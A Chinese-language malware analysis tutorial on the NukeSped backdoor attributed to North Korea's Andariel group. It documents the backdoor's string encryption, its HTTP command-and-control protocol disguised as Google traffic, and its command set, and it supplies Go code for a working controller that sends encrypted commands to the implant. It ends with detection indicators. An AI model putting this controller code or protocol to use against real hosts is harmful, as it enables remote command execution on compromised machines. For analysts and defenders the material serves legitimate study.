逆向开发朝鲜Andariel组织下的NukeSped后门控制端
字数 1642 2025-08-19 12:40:41
NukeSped后门逆向分析与控制端构建教学文档
1. 概述
NukeSped是朝鲜Andariel组织使用的一款后门程序,最新变种被发现利用Apache ActiveMQ漏洞(CVE-2023-46604)进行传播。该后门将通信流量伪装为正常的谷歌通信流量,增加了检测难度。
2. 样本分析
2.1 样本基本信息
- 样本类型:NukeSped Variant - Type 1
- MD5哈希:7699ba4eab5837a4ad9d5d6bbedffc18
- 主要功能:下载文件、执行命令和终止进程
2.2 动态获取API
样本在运行前会动态获取API:
- 使用
LoadLibraryA和GetProcAddress函数 - API字符串经过加密处理
2.3 加解密算法
算法一:简单异或加密
- 加密方式:使用0xA1作为异或值,按字节进行异或运算
- 解密示例:
def xor_decrypt(data): return bytes([b ^ 0xA1 for b in data])
算法二:对称加解密
- 加密算法:按字节加3,然后取反
- 解密算法:按字节减3,然后取反
- Go语言实现:
func encode(buffer []byte) []byte { output := make([]byte, len(buffer)) for i := 0; i < len(buffer); i++ { output[i] = 3 + ^buffer[i] } return output } func decode(buffer []byte) []byte { output := make([]byte, len(buffer)) for i := 0; i < len(buffer); i++ { output[i] = ^(buffer[i] - 3) } return output }
3. 通信行为分析
3.1 通信模型
后门 → 控制端
| 命令 | 描述 |
|---|---|
| 10 | 初始连接 |
| 30 | 命令执行成功 |
| 35 | 命令执行失败 |
控制端 → 后门
| 命令 | 描述 |
|---|---|
| 11 | 样本自删除 |
| 12 | 休眠1小时 |
| 30 | 向管道传输数据 |
| 33 | 创建进程并返回回显 |
| 34 | 终止33指令运行的进程 |
3.2 通信数据格式
上线请求
POST /login.php HTTP/1.1
Host: www.google.com
Connection: keep-alive
Cache-Control: max-age=0
Sec-Fetch-Mode: 10
Sec-Fetch-User: S-WIN-XXXXXXX
Sec-Fetch-Dest: 01
远控指令33
控制端发送:
HTTP/1.1 200 OK
Content-Type: text/html
Sec-Fetch-Mode: 33
Content-Length: 18
[加密载荷]
后门响应:
GET http://www.google.com/search?q&cp=0&xssi=t&hl=en&authuser=1&nolsbt=1&dpr=1 HTTP/1.1
Sec-Fetch-Mode: 30
Content-Length: 00000023
Connection: keep-alive
[加密载荷]
其他指令
指令34、11、12格式类似,主要区别在Sec-Fetch-Mode值。
4. 功能实现分析
4.1 远控指令33(创建进程)
- 从响应中提取Sec-Fetch-Mode和Content-Length
- 申请内存(Content-Length+2)
- 提取并解密命令行数据
- 调用CreateProcessA执行命令
- 使用CreatePipe和ReadFile获取回显
- 构建响应数据包并发送
4.2 远控指令34(终止进程)
- 检查Sec-Fetch-Mode为34且Content-Length为0
- 调用TerminateThread、CloseHandle、TerminateProcess
- 关闭相关句柄
4.3 远控指令30(管道传输)
- 提取Sec-Fetch-Mode和Content-Length
- 申请内存并解密载荷
- 调用WriteFile向管道传输数据
4.4 远控指令11(自删除)
- 检查Sec-Fetch-Mode为11且Content-Length为0
- 退出通信循环
- 解密自删除代码字符串
- 在TEMP目录释放自删除bat文件并执行
4.5 远控指令12(休眠)
- 检查Sec-Fetch-Mode为12且Content-Length为0
- 休眠1小时
- 恢复通信
5. 控制端构建
5.1 Go语言实现要点
主程序结构
func main() {
listener, err := net.Listen("tcp", address+":"+port)
defer listener.Close()
for {
conn, err := listener.Accept()
go handle_NukeSped_Connection(conn)
}
}
func handle_NukeSped_Connection(conn net.Conn) {
defer conn.Close()
recvdata := common.RecvHeader(conn)
// 命令处理循环
for {
// 读取用户输入并处理不同指令
}
}
指令33实现
func Command_33(conn net.Conn, command string) {
sendcommond33(conn, command)
data_header := RecvHeader(conn)
data_len := // 从header中提取长度
data_buf := recvBuf(conn, data_len)
fmt.Println(string(BytesToGB2312(data_buf)))
}
func sendcommond33(conn net.Conn, command string) {
// 构建HTTP响应头
response := "HTTP/1.1 200 OK\r\n" +
"Content-Type: text/html\r\n" +
"Sec-Fetch-Mode: 33\r\n" +
"Content-Length: " + strconv.Itoa(len(command)+1) + "\r\n\r\n"
conn.Write([]byte(response))
time.Sleep(2 * time.Second)
conn.Write(encode(append([]byte(command), byte(00))))
}
其他指令实现
类似指令33,主要区别在于:
- Sec-Fetch-Mode值不同
- 载荷内容不同
- 对于指令34和11,Content-Length为0
6. 调试技巧
6.1 阻塞与非阻塞socket问题
- 后门使用非阻塞socket
- 调试时需注意recv和send的时序
- 解决方案:
- 在控制端发送代码处设置断点
- 在后门recv处设置断点
- 步过控制端断点后再继续后门调试
6.2 编码转换
- 后门响应可能使用GB2312编码
- Go语言转换示例:
import "golang.org/x/text/encoding/simplifiedchinese"
func BytesToGB2312(buffer []byte) []byte {
decoder := simplifiedchinese.GB18030.NewDecoder()
utf8Bytes, err := decoder.Bytes(buffer)
if err != nil {
log.Fatal(err)
}
return utf8Bytes
}
7. 总结
NukeSped后门虽然功能相对简单,但其通信伪装技术增加了检测难度。通过分析其通信协议和加解密算法,可以构建有效的控制端进行模拟测试。在实际防御中,应重点关注:
- 异常Google域名的通信
- 特定的HTTP头部字段组合
- 非标准端口上的HTTP通信
- 上述加解密算法的特征检测